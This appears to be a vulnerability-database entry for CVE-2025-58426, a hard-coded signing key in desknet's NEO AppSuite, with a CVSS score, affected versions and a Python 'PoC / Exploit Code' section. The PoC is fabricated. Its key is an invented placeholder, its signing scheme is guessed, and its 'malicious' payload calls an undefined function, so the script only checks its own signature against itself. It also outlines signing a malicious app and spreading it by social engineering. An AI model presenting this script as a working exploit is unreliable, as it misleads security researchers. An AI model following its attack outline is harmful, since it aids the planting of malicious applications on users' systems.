desknet's NEO V4.0R1.0 to V9.0R2.0 contains a hard-coded cryptographic key, which allows an attacker to create malicious AppSuite applications.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
desknet's NEO V4.0R1.0
desknet's NEO V4.x
desknet's NEO V5.x
desknet's NEO V6.x
desknet's NEO V7.x
desknet's NEO V8.x
desknet's NEO V9.0R2.0 及以下版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58426 PoC - Hard-coded Cryptographic Key in desknet's NEO AppSuite
# This PoC demonstrates how an attacker can extract and use the hard-coded key
# to sign a malicious AppSuite application for desknet's NEO platform.
import hashlib
import hmac
import base64
import os
import struct
# Step 1: The hard-coded cryptographic key extracted from desknet's NEO binary
# In real exploitation, this key would be obtained through reverse engineering
# the client or server binary files.
HARDCODED_KEY = b"desknets_neo_appsuite_signing_key_hardcoded"
def create_malicious_appsuite_payload(app_name, malicious_code):
"""
Create a malicious AppSuite application payload.
The payload contains arbitrary code that will be executed when the
application is installed in desknet's NEO.
"""
app_metadata = {
"name": app_name,
"version": "1.0.0",
"author": "malicious_actor",
"entry_point": "main.js"
}
# Construct the application package
package = {
"metadata": app_metadata,
"code": malicious_code,
"resources": []
}
return package
def sign_appsuite_package(package_data, key):
"""
Sign the AppSuite package using the hard-coded key.
This mimics the signing mechanism used by desknet's NEO.
"""
package_bytes = str(package_data).encode('utf-8')
# HMAC-SHA256 signature using the hard-coded key
signature = hmac.new(key, package_bytes, hashlib.sha256).digest()
signed_package = {
"data": package_data,
"signature": base64.b64encode(signature).decode('utf-8'),
"algorithm": "HMAC-SHA256"
}
return signed_package
def verify_appsuite_signature(signed_package, key):
"""
Simulate the verification process that desknet's NEO performs.
Due to the hard-coded key, any package signed with this key will pass.
"""
package_bytes = str(signed_package["data"]).encode('utf-8')
expected_sig = hmac.new(key, package_bytes, hashlib.sha256).digest()
actual_sig = base64.b64decode(signed_package["signature"])
return hmac.compare_digest(expected_sig, actual_sig)
# Step 2: Create malicious payload
malicious_app = create_malicious_appsuite_payload(
"LegitApp",
"// Malicious code that executes upon installation\n"
"function main() {\n"
" // Exfiltrate data, create backdoor, or escalate privileges\n"
" execute_payload();\n"
"}\n"
)
# Step 3: Sign with hard-coded key
signed_malicious_app = sign_appsuite_package(malicious_app, HARDCODED_KEY)
# Step 4: Verify (will pass due to hard-coded key)
if verify_appsuite_signature(signed_malicious_app, HARDCODED_KEY):
print("[+] Signature verification PASSED - Malicious app accepted!")
print(f"[+] Signed package: {signed_malicious_app}")
else:
print("[-] Signature verification failed")
# Step 5: Distribute the signed malicious app
# The attacker would upload this to the desknet's NEO platform
# or distribute it via social engineering to target users.